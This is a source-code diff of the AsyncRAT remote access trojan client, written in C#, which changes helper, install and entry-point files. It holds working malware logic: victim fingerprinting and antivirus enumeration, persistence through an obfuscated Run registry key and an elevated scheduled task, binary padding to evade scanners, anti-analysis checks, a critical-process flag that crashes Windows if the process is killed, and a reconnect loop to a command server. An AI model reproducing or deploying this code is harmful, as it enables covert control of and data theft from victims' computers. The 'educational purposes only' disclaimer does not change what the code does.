using Client.Connection;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Data;
|
||||
using System.Drawing;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Plugin
|
||||
namespace Client.Helper
|
||||
{
|
||||
public partial class FormChat : Form
|
||||
{
|
||||
@ -23,9 +26,8 @@ namespace Plugin
|
||||
richTextBox1.AppendText("Me: " + textBox1.Text + Environment.NewLine);
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "chat";
|
||||
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
|
||||
msgpack.ForcePathObject("WriteInput").AsString = Environment.UserName + ": " + textBox1.Text + Environment.NewLine;
|
||||
Connection.Send(msgpack.Encode2Bytes());
|
||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
textBox1.Clear();
|
||||
}
|
||||
}
|
||||
@ -37,16 +39,7 @@ namespace Plugin
|
||||
|
||||
private void Timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (!Connection.IsConnected)
|
||||
{
|
||||
Packet.GetFormChat.Invoke((MethodInvoker)(() =>
|
||||
{
|
||||
Packet.GetFormChat?.Close();
|
||||
Packet.GetFormChat?.Dispose();
|
||||
}));
|
||||
Connection.Disconnected();
|
||||
GC.Collect();
|
||||
}
|
||||
if (!ClientSocket.IsConnected) Packet.GetFormChat.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
@ -1,37 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
|
||||
namespace Client.Helper
|
||||
{
|
||||
public static class HwidGen
|
||||
{
|
||||
public static string HWID()
|
||||
{
|
||||
try
|
||||
{
|
||||
return GetHash(string.Concat(Environment.ProcessorCount, Environment.UserName,
|
||||
Environment.MachineName, Environment.OSVersion
|
||||
, new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize));
|
||||
}
|
||||
catch
|
||||
{
|
||||
return "Err HWID";
|
||||
}
|
||||
}
|
||||
|
||||
public static string GetHash(string strToHash)
|
||||
{
|
||||
MD5CryptoServiceProvider md5Obj = new MD5CryptoServiceProvider();
|
||||
byte[] bytesToHash = Encoding.ASCII.GetBytes(strToHash);
|
||||
bytesToHash = md5Obj.ComputeHash(bytesToHash);
|
||||
StringBuilder strResult = new StringBuilder();
|
||||
foreach (byte b in bytesToHash)
|
||||
strResult.Append(b.ToString("x2"));
|
||||
return strResult.ToString().Substring(0, 20).ToUpper();
|
||||
}
|
||||
}
|
||||
}
|
@ -1,31 +0,0 @@
|
||||
using MessagePackLib.MessagePack;
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Client.Helper
|
||||
{
|
||||
public static class IdSender
|
||||
{
|
||||
public static byte[] SendInfo()
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "ClientInfo";
|
||||
msgpack.ForcePathObject("HWID").AsString = Settings.Hwid;
|
||||
msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString();
|
||||
msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " +
|
||||
Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit");
|
||||
msgpack.ForcePathObject("Path").AsString = Application.ExecutablePath;
|
||||
msgpack.ForcePathObject("Version").AsString = Settings.Version;
|
||||
msgpack.ForcePathObject("Admin").AsString = Methods.IsAdmin().ToString().ToLower().Replace("true", "Admin").Replace("false", "User");
|
||||
msgpack.ForcePathObject("Performance").AsString = Methods.GetActiveWindowTitle();
|
||||
msgpack.ForcePathObject("Pastebin").AsString = Settings.Pastebin;
|
||||
msgpack.ForcePathObject("Antivirus").AsString = Methods.Antivirus();
|
||||
msgpack.ForcePathObject("Installed").AsString = new FileInfo(Application.ExecutablePath).LastWriteTime.ToUniversalTime().ToString();
|
||||
msgpack.ForcePathObject("Pong").AsString = "";
|
||||
msgpack.ForcePathObject("Group").AsString = Settings.Group;
|
||||
return msgpack.Encode2Bytes();
|
||||
}
|
||||
}
|
||||
}
|
@ -1,31 +1,75 @@
|
||||
using Client.Connection;
|
||||
using Client.MessagePack;
|
||||
using Client.Connection;
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Management;
|
||||
using System.Net.Sockets;
|
||||
using System.Security.Cryptography;
|
||||
using System.Security.Principal;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Drawing.Imaging;
|
||||
using System.Runtime.InteropServices;
|
||||
using static Client.Helper.NativeMethods;
|
||||
using System.Text;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
using System.Threading;
|
||||
|
||||
namespace Client.Helper
|
||||
{
|
||||
public static class Methods
|
||||
static class Methods
|
||||
{
|
||||
public static PerformanceCounter TheCPUCounter { get; } = new PerformanceCounter("Processor", "% Processor Time", "_Total");
|
||||
public static PerformanceCounter TheMemCounter { get; } = new PerformanceCounter("Memory", "% Committed Bytes In Use");
|
||||
|
||||
public static string HWID()
|
||||
{
|
||||
StringBuilder sb = new StringBuilder();
|
||||
sb.Append(Environment.ProcessorCount);
|
||||
sb.Append(Environment.UserName);
|
||||
sb.Append(Environment.MachineName);
|
||||
sb.Append(Environment.OSVersion);
|
||||
sb.Append(new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize);
|
||||
return GetHash(sb.ToString());
|
||||
}
|
||||
|
||||
public static string GetHash(string strToHash)
|
||||
{
|
||||
MD5CryptoServiceProvider md5Obj = new MD5CryptoServiceProvider();
|
||||
byte[] bytesToHash = Encoding.ASCII.GetBytes(strToHash);
|
||||
bytesToHash = md5Obj.ComputeHash(bytesToHash);
|
||||
StringBuilder strResult = new StringBuilder();
|
||||
foreach (byte b in bytesToHash)
|
||||
strResult.Append(b.ToString("x2"));
|
||||
return strResult.ToString().Substring(0, 15).ToUpper();
|
||||
}
|
||||
|
||||
private static Mutex _appMutex;
|
||||
public static bool CreateMutex()
|
||||
{
|
||||
bool createdNew;
|
||||
_appMutex = new Mutex(false, Settings.MTX, out createdNew);
|
||||
return createdNew;
|
||||
}
|
||||
public static void CloseMutex()
|
||||
{
|
||||
if (_appMutex != null)
|
||||
{
|
||||
_appMutex.Close();
|
||||
_appMutex = null;
|
||||
}
|
||||
}
|
||||
|
||||
public static bool IsAdmin()
|
||||
{
|
||||
return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);
|
||||
}
|
||||
public static void ClientOnExit()
|
||||
public static void ClientExit()
|
||||
{
|
||||
try
|
||||
{
|
||||
if (Convert.ToBoolean(Settings.BDOS) && IsAdmin())
|
||||
ProcessCritical.Exit();
|
||||
MutexControl.CloseMutex();
|
||||
CloseMutex();
|
||||
ClientSocket.SslClient?.Close();
|
||||
ClientSocket.TcpClient?.Close();
|
||||
}
|
||||
@ -34,23 +78,34 @@ namespace Client.Helper
|
||||
|
||||
public static string Antivirus()
|
||||
{
|
||||
try
|
||||
using (ManagementObjectSearcher antiVirusSearch = new ManagementObjectSearcher(@"\\" + Environment.MachineName + @"\root\SecurityCenter2", "Select * from AntivirusProduct"))
|
||||
{
|
||||
using (ManagementObjectSearcher antiVirusSearch = new ManagementObjectSearcher(@"\\" + Environment.MachineName + @"\root\SecurityCenter2", "Select * from AntivirusProduct"))
|
||||
List<string> av = new List<string>();
|
||||
foreach (ManagementBaseObject searchResult in antiVirusSearch.Get())
|
||||
{
|
||||
List<string> av = new List<string>();
|
||||
foreach (ManagementBaseObject searchResult in antiVirusSearch.Get())
|
||||
{
|
||||
av.Add(searchResult["displayName"].ToString());
|
||||
}
|
||||
if (av.Count == 0) return "N/A";
|
||||
return string.Join(", ", av.ToArray());
|
||||
av.Add(searchResult["displayName"].ToString());
|
||||
}
|
||||
if (av.Count == 0) return "None";
|
||||
return string.Join(", ", av.ToArray());
|
||||
}
|
||||
catch
|
||||
{
|
||||
return "N/A";
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] SendInfo()
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "ClientInfo";
|
||||
msgpack.ForcePathObject("HWID").AsString = HWID();
|
||||
msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString();
|
||||
msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " +
|
||||
Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit");
|
||||
msgpack.ForcePathObject("Path").AsString = Process.GetCurrentProcess().MainModule.FileName;
|
||||
msgpack.ForcePathObject("Version").AsString = Settings.Version;
|
||||
msgpack.ForcePathObject("Admin").AsString = IsAdmin().ToString().ToLower().Replace("true", "Admin").Replace("false", "User");
|
||||
TheCPUCounter.NextValue();
|
||||
msgpack.ForcePathObject("Performance").AsString = $"CPU {(int)TheCPUCounter.NextValue()}% RAM {(int)TheMemCounter.NextValue()}%";
|
||||
msgpack.ForcePathObject("Pastebin").AsString = Settings.Pastebin;
|
||||
msgpack.ForcePathObject("Antivirus").AsString = Antivirus();
|
||||
return msgpack.Encode2Bytes();
|
||||
}
|
||||
|
||||
public static ImageCodecInfo GetEncoder(ImageFormat format)
|
||||
@ -67,6 +122,8 @@ namespace Client.Helper
|
||||
}
|
||||
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern EXECUTION_STATE SetThreadExecutionState(EXECUTION_STATE esFlags);
|
||||
public static void PreventSleep()
|
||||
{
|
||||
try
|
||||
@ -76,20 +133,11 @@ namespace Client.Helper
|
||||
catch { }
|
||||
}
|
||||
|
||||
public static string GetActiveWindowTitle()
|
||||
public enum EXECUTION_STATE : uint
|
||||
{
|
||||
try
|
||||
{
|
||||
const int nChars = 256;
|
||||
StringBuilder buff = new StringBuilder(nChars);
|
||||
IntPtr handle = GetForegroundWindow();
|
||||
if (GetWindowText(handle, buff, nChars) > 0)
|
||||
{
|
||||
return buff.ToString();
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
return "";
|
||||
ES_CONTINUOUS = 0x80000000,
|
||||
ES_DISPLAY_REQUIRED = 0x00000002,
|
||||
ES_SYSTEM_REQUIRED = 0x00000001
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -1,26 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
|
||||
namespace Client.Helper
|
||||
{
|
||||
public static class MutexControl
|
||||
{
|
||||
public static Mutex currentApp;
|
||||
public static bool CreateMutex()
|
||||
{
|
||||
currentApp = new Mutex(false, Settings.MTX, out bool createdNew);
|
||||
return createdNew;
|
||||
}
|
||||
public static void CloseMutex()
|
||||
{
|
||||
if (currentApp != null)
|
||||
{
|
||||
currentApp.Close();
|
||||
currentApp = null;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -1,34 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace Client.Helper
|
||||
{
|
||||
public static class NativeMethods
|
||||
{
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr GetForegroundWindow();
|
||||
[DllImport("user32.dll")]
|
||||
public static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
|
||||
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr GetModuleHandle(string lpModuleName);
|
||||
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
|
||||
public static extern bool CheckRemoteDebuggerPresent(IntPtr hProcess, ref bool isDebuggerPresent);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern EXECUTION_STATE SetThreadExecutionState(EXECUTION_STATE esFlags);
|
||||
public enum EXECUTION_STATE : uint
|
||||
{
|
||||
ES_CONTINUOUS = 0x80000000,
|
||||
ES_DISPLAY_REQUIRED = 0x00000002,
|
||||
ES_SYSTEM_REQUIRED = 0x00000001
|
||||
}
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true)]
|
||||
public static extern void RtlSetProcessIsCritical(UInt32 v1, UInt32 v2, UInt32 v3);
|
||||
}
|
||||
}
|
@ -20,7 +20,7 @@ namespace Client.Helper
|
||||
{
|
||||
SystemEvents.SessionEnding += new SessionEndingEventHandler(SystemEvents_SessionEnding);
|
||||
Process.EnterDebugMode();
|
||||
Helper.NativeMethods.RtlSetProcessIsCritical(1, 0, 0);
|
||||
RtlSetProcessIsCritical(1, 0, 0);
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
@ -28,7 +28,7 @@ namespace Client.Helper
|
||||
{
|
||||
try
|
||||
{
|
||||
NativeMethods.RtlSetProcessIsCritical(0, 0, 0);
|
||||
RtlSetProcessIsCritical(0, 0, 0);
|
||||
}
|
||||
catch
|
||||
{
|
||||
@ -38,5 +38,10 @@ namespace Client.Helper
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#region "Native Methods"
|
||||
[DllImport("ntdll.dll", SetLastError = true)]
|
||||
private static extern void RtlSetProcessIsCritical(UInt32 v1, UInt32 v2, UInt32 v3);
|
||||
#endregion
|
||||
}
|
||||
}
|
||||
|
@ -1,89 +0,0 @@
|
||||
using Client.Handle_Packet;
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
|
||||
namespace Client.Helper
|
||||
{
|
||||
public static class SetRegistry
|
||||
{
|
||||
private static readonly string ID = @"Software\" + Settings.Hwid;
|
||||
|
||||
/*
|
||||
* Author : NYAN CAT
|
||||
* Name : Lime Registry DB
|
||||
* Contact Me : https:github.com/NYAN-x-CAT
|
||||
* This program is distributed for educational purposes only.
|
||||
*/
|
||||
|
||||
public static bool SetValue(string name, byte[] value)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (RegistryKey key = Registry.CurrentUser.CreateSubKey(ID, RegistryKeyPermissionCheck.ReadWriteSubTree))
|
||||
{
|
||||
key.SetValue(name, value, RegistryValueKind.Binary);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Packet.Error(ex.Message);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
public static byte[] GetValue(string value)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (RegistryKey key = Registry.CurrentUser.CreateSubKey(ID))
|
||||
{
|
||||
object o = key.GetValue(value);
|
||||
return (byte[])o;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Packet.Error(ex.Message);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public static bool DeleteValue(string name)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (RegistryKey key = Registry.CurrentUser.CreateSubKey(ID))
|
||||
{
|
||||
key.DeleteValue(name);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Packet.Error(ex.Message);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
public static bool DeleteSubKey()
|
||||
{
|
||||
try
|
||||
{
|
||||
using (RegistryKey key = Registry.CurrentUser.OpenSubKey("", true))
|
||||
{
|
||||
key.DeleteSubKeyTree(ID);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Packet.Error(ex.Message);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,67 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8" ?>
|
||||
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup>
|
||||
<!-- -->
|
||||
<!-- ILMerge project-specific settings. Almost never need to be set explicitly. -->
|
||||
<!-- for details, see http://research.microsoft.com/en-us/people/mbarnett/ilmerge.aspx -->
|
||||
<!-- -->
|
||||
<!-- *** set this file to Type=None, CopyToOutput=Never *** -->
|
||||
|
||||
<!-- If True, all copy local dependencies will also be merged from referenced projects whether they are referenced in the current project explicitly or not -->
|
||||
<ILMergeTransitive>true</ILMergeTransitive>
|
||||
|
||||
<!-- Extra ILMerge library paths (semicolon-separated). Dont put your package dependencies here, they will be added automagically -->
|
||||
<ILMergeLibraryPath></ILMergeLibraryPath>
|
||||
|
||||
<!-- The solution NuGet package directory if not standard 'SOLUTION\packages' -->
|
||||
<ILMergePackagesPath></ILMergePackagesPath>
|
||||
|
||||
<!-- The merge order file name if differs from standard 'ILMergeOrder.txt' -->
|
||||
<ILMergeOrderFile></ILMergeOrderFile>
|
||||
|
||||
<!-- The strong key file name if not specified in the project -->
|
||||
<ILMergeKeyFile></ILMergeKeyFile>
|
||||
|
||||
<!-- The assembly version if differs for the version of the main assembly -->
|
||||
<ILMergeAssemblyVersion></ILMergeAssemblyVersion>
|
||||
|
||||
<!-- added in Version 1.0.4 -->
|
||||
<ILMergeFileAlignment></ILMergeFileAlignment>
|
||||
|
||||
<!-- added in Version 1.0.4, default=none -->
|
||||
<ILMergeAllowDuplicateType></ILMergeAllowDuplicateType>
|
||||
|
||||
<!-- If the <see cref="CopyAttributes"/> is also set, any assembly-level attributes names that have the same type are copied over into the target assembly -->
|
||||
<ILMergeAllowMultipleAssemblyLevelAttributes></ILMergeAllowMultipleAssemblyLevelAttributes>
|
||||
|
||||
<!-- See ILMerge documentation -->
|
||||
<ILMergeAllowZeroPeKind></ILMergeAllowZeroPeKind>
|
||||
|
||||
<!-- The assembly level attributes of each input assembly are copied over into the target assembly -->
|
||||
<ILMergeCopyAttributes></ILMergeCopyAttributes>
|
||||
|
||||
<!-- Creates a .pdb file for the output assembly and merges into it any .pdb files found for input assemblies, default=true -->
|
||||
<ILMergeDebugInfo>false</ILMergeDebugInfo>
|
||||
|
||||
<!-- Target assembly will be delay signed -->
|
||||
<ILMergeDelaySign></ILMergeDelaySign>
|
||||
|
||||
<!-- Types in assemblies other than the primary assembly have their visibility modified -->
|
||||
<ILMergeInternalize></ILMergeInternalize>
|
||||
|
||||
<!-- The path name of the file that will be used to identify types that are not to have their visibility modified -->
|
||||
<ILMergeInternalizeExcludeFile></ILMergeInternalizeExcludeFile>
|
||||
|
||||
<!-- XML documentation files are merged to produce an XML documentation file for the target assembly -->
|
||||
<ILMergeXmlDocumentation></ILMergeXmlDocumentation>
|
||||
|
||||
<!-- External assembly references in the manifest of the target assembly will use full public keys (false) or public key tokens (true, default value) -->
|
||||
<ILMergePublicKeyTokens></ILMergePublicKeyTokens>
|
||||
|
||||
<!-- Types with the same name are all merged into a single type in the target assembly -->
|
||||
<ILMergeUnionMerge></ILMergeUnionMerge>
|
||||
|
||||
<!-- The version of the target framework, default 40 (works for 45 too) -->
|
||||
<ILTargetPlatform></ILTargetPlatform>
|
||||
</PropertyGroup>
|
||||
</Project>
|
@ -1,4 +0,0 @@
|
||||
# this file contains the partial list of the merged assemblies in the merge order
|
||||
# you can fill it from the obj\CONFIG\PROJECT.ilmerge generated on every build
|
||||
# and finetune merge order to your satisfaction
|
||||
|
@ -4,6 +4,7 @@ using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Security.Principal;
|
||||
using System.Threading;
|
||||
|
||||
namespace Client.Install
|
||||
@ -14,70 +15,49 @@ namespace Client.Install
|
||||
{
|
||||
try
|
||||
{
|
||||
FileInfo installPath = new FileInfo(Path.Combine(Environment.ExpandEnvironmentVariables(Settings.InstallFolder), Settings.InstallFile));
|
||||
string currentProcess = Process.GetCurrentProcess().MainModule.FileName;
|
||||
if (currentProcess != installPath.FullName) //check if payload is running from installation path
|
||||
string installfullpath = Path.Combine(Environment.ExpandEnvironmentVariables(Settings.InstallFolder), Settings.InstallFile);
|
||||
if (Process.GetCurrentProcess().MainModule.FileName != installfullpath)
|
||||
{
|
||||
|
||||
foreach (Process P in Process.GetProcesses()) //kill any process which shares same path
|
||||
for (int i = 0; i < 10; i++)
|
||||
{
|
||||
Thread.Sleep(1000);
|
||||
}
|
||||
|
||||
foreach (Process P in Process.GetProcesses())
|
||||
{
|
||||
try
|
||||
{
|
||||
if (P.MainModule.FileName == installPath.FullName)
|
||||
if (P.MainModule.FileName == installfullpath)
|
||||
P.Kill();
|
||||
}
|
||||
catch { }
|
||||
catch
|
||||
{
|
||||
Debug.WriteLine("NormalStartup Error : " + P.ProcessName);
|
||||
}
|
||||
}
|
||||
|
||||
if (Methods.IsAdmin()) //if payload is runnign as administrator install schtasks
|
||||
using (RegistryKey key = Registry.CurrentUser.OpenSubKey(Strings.StrReverse(@"\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS"), RegistryKeyPermissionCheck.ReadWriteSubTree))
|
||||
{
|
||||
Process.Start(new ProcessStartInfo
|
||||
{
|
||||
FileName = "cmd",
|
||||
Arguments = "/c schtasks /create /f /sc onlogon /rl highest /tn " + "\"" + Path.GetFileNameWithoutExtension(installPath.Name) + "\"" + " /tr " + "'" + "\"" + installPath.FullName + "\"" + "' & exit",
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
CreateNoWindow = true,
|
||||
});
|
||||
}
|
||||
else
|
||||
{
|
||||
using (RegistryKey key = Registry.CurrentUser.OpenSubKey(Strings.StrReverse(@"\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS"), RegistryKeyPermissionCheck.ReadWriteSubTree))
|
||||
{
|
||||
key.SetValue(Path.GetFileNameWithoutExtension(installPath.Name), "\"" + installPath.FullName + "\"");
|
||||
}
|
||||
key.SetValue(Path.GetFileName(installfullpath), "\"" + installfullpath + "\"");
|
||||
}
|
||||
|
||||
FileStream fs;
|
||||
if (File.Exists(installPath.FullName))
|
||||
if (File.Exists(installfullpath))
|
||||
{
|
||||
File.Delete(installPath.FullName);
|
||||
File.Delete(installfullpath);
|
||||
Thread.Sleep(1000);
|
||||
}
|
||||
fs = new FileStream(installPath.FullName, FileMode.CreateNew);
|
||||
byte[] clientExe = File.ReadAllBytes(currentProcess);
|
||||
fs = new FileStream(installfullpath, FileMode.CreateNew);
|
||||
byte[] clientExe = File.ReadAllBytes(Process.GetCurrentProcess().MainModule.FileName);
|
||||
fs.Write(clientExe, 0, clientExe.Length);
|
||||
byte[] junk = new byte[new Random().Next(40 * 1024 * 1000, 50 * 1024 * 1000)];
|
||||
new Random().NextBytes(junk);
|
||||
fs.Write(junk, 0, junk.Length);
|
||||
fs.Dispose();
|
||||
|
||||
Methods.ClientOnExit();
|
||||
|
||||
string batch = Path.GetTempFileName() + ".bat";
|
||||
using (StreamWriter sw = new StreamWriter(batch))
|
||||
{
|
||||
sw.WriteLine("@echo off");
|
||||
sw.WriteLine("timeout 3 > NUL");
|
||||
sw.WriteLine("START " + "\"" + "\" " + "\"" + installPath.FullName + "\"");
|
||||
sw.WriteLine("CD " + Path.GetTempPath());
|
||||
sw.WriteLine("DEL " + "\"" + Path.GetFileName(batch) + "\"" + " /f /q");
|
||||
}
|
||||
|
||||
Process.Start(new ProcessStartInfo()
|
||||
{
|
||||
FileName = batch,
|
||||
CreateNoWindow = true,
|
||||
ErrorDialog = false,
|
||||
UseShellExecute = false,
|
||||
WindowStyle = ProcessWindowStyle.Hidden
|
||||
});
|
||||
|
||||
Process.Start(installfullpath);
|
||||
Methods.ClientExit();
|
||||
Environment.Exit(0);
|
||||
}
|
||||
}
|
||||
|
@ -4,7 +4,7 @@ using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace MessagePackLib.MessagePack
|
||||
namespace Client.MessagePack
|
||||
{
|
||||
public class BytesTools
|
||||
{
|
@ -1,4 +1,14 @@
|
||||
using System;
|
||||
/*
|
||||
* 添加DecodeFormFile函数
|
||||
* 2015-07-14 16:31:32
|
||||
*
|
||||
* 修复ForcePathObject查找不到子对象的bug,感谢(Putree 274638001<spiritring@gmail.com>)反馈
|
||||
* 2015-07-14 16:32:13
|
||||
*
|
||||
* 修复整数值为127时解码出来为0的情况,感谢(Putree 274638001<spiritring@gmail.com>)反馈
|
||||
* 2015-07-14 15:28:45
|
||||
*/
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
@ -7,7 +17,7 @@ using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
|
||||
namespace MessagePackLib.MessagePack
|
||||
namespace Client.MessagePack
|
||||
{
|
||||
public class MsgPackEnum : IEnumerator
|
||||
{
|
||||
@ -484,7 +494,6 @@ namespace MessagePackLib.MessagePack
|
||||
{
|
||||
using (MemoryStream ms = new MemoryStream())
|
||||
{
|
||||
bytes = Zip.Decompress(bytes);
|
||||
ms.Write(bytes, 0, bytes.Length);
|
||||
ms.Position = 0;
|
||||
DecodeFromStream(ms);
|
||||
@ -826,7 +835,7 @@ namespace MessagePackLib.MessagePack
|
||||
byte[] r = new byte[ms.Length];
|
||||
ms.Position = 0;
|
||||
ms.Read(r, 0, (int)ms.Length);
|
||||
return Zip.Compress(r);
|
||||
return r;
|
||||
}
|
||||
}
|
||||
|
@ -4,7 +4,7 @@ using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace MessagePackLib.MessagePack
|
||||
namespace Client.MessagePack
|
||||
{
|
||||
public enum MsgPackType
|
||||
{
|
@ -5,7 +5,7 @@ using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace MessagePackLib.MessagePack
|
||||
namespace Client.MessagePack
|
||||
{
|
||||
class ReadTools
|
||||
{
|
@ -1,7 +1,7 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace MessagePackLib.MessagePack
|
||||
namespace Client.MessagePack
|
||||
{
|
||||
class WriteTools
|
||||
{
|
@ -9,53 +9,46 @@ using Client.Helper;
|
||||
│ Name : AsyncRAT Simple RAT
|
||||
│ Contact Me : https:github.com/NYAN-x-CAT
|
||||
|
||||
This program is distributed for educational purposes only.
|
||||
This program Is distributed for educational purposes only.
|
||||
*/
|
||||
|
||||
namespace Client
|
||||
{
|
||||
public class Program
|
||||
class Program
|
||||
{
|
||||
public static void Main()
|
||||
{
|
||||
for (int i = 0; i < Convert.ToInt32(Settings.Delay); i++)
|
||||
{
|
||||
Thread.Sleep(1000);
|
||||
}
|
||||
|
||||
|
||||
static void Main()
|
||||
{
|
||||
Thread.Sleep(2500);
|
||||
if (!Settings.InitializeSettings()) Environment.Exit(0);
|
||||
|
||||
try
|
||||
{
|
||||
if (!MutexControl.CreateMutex()) //if current payload is a duplicate
|
||||
if (!Methods.CreateMutex())
|
||||
Environment.Exit(0);
|
||||
|
||||
if (Convert.ToBoolean(Settings.Anti)) //run anti-virtual environment
|
||||
if (Convert.ToBoolean(Settings.Anti))
|
||||
Anti_Analysis.RunAntiAnalysis();
|
||||
|
||||
if (Convert.ToBoolean(Settings.Install)) //drop payload [persistence]
|
||||
if (Convert.ToBoolean(Settings.Install))
|
||||
NormalStartup.Install();
|
||||
|
||||
if (Convert.ToBoolean(Settings.BDOS) && Methods.IsAdmin()) //active critical process
|
||||
if (Convert.ToBoolean(Settings.BDOS) && Methods.IsAdmin())
|
||||
ProcessCritical.Set();
|
||||
|
||||
Methods.PreventSleep(); //prevent pc to idle\sleep
|
||||
|
||||
Methods.PreventSleep();
|
||||
}
|
||||
catch { }
|
||||
|
||||
while (true) // ~ loop to check socket status
|
||||
while (true)
|
||||
{
|
||||
try
|
||||
if (!ClientSocket.IsConnected)
|
||||
{
|
||||
if (!ClientSocket.IsConnected)
|
||||
{
|
||||
ClientSocket.Reconnect();
|
||||
ClientSocket.InitializeClient();
|
||||
}
|
||||
ClientSocket.Reconnect();
|
||||
ClientSocket.InitializeClient();
|
||||
}
|
||||
catch { }
|
||||
Thread.Sleep(5000);
|
||||
Thread.Sleep(new Random().Next(1000,5000));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -10,7 +10,7 @@ using System.Runtime.InteropServices;
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("")]
|
||||
[assembly: AssemblyCopyright("")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2019")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
|
||||
@ -20,6 +20,7 @@ using System.Runtime.InteropServices;
|
||||
[assembly: ComVisible(false)]
|
||||
|
||||
// The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
//[assembly: Guid("c3c49f45-2589-4e04-9c50-71b6035c14ae")]
|
||||
|
||||
// Version information for an assembly consists of the following four values:
|
||||
//
|
||||
|
@ -1,5 +1,4 @@
|
||||
using Client.Algorithm;
|
||||
using Client.Helper;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Security.Cryptography;
|
||||
@ -13,7 +12,7 @@ namespace Client
|
||||
#if DEBUG
|
||||
public static string Ports = "6606";
|
||||
public static string Hosts = "127.0.0.1";
|
||||
public static string Version = "0.5.7B";
|
||||
public static string Version = "0.5.3";
|
||||
public static string Install = "false";
|
||||
public static string InstallFolder = "AppData";
|
||||
public static string InstallFile = "Test.exe";
|
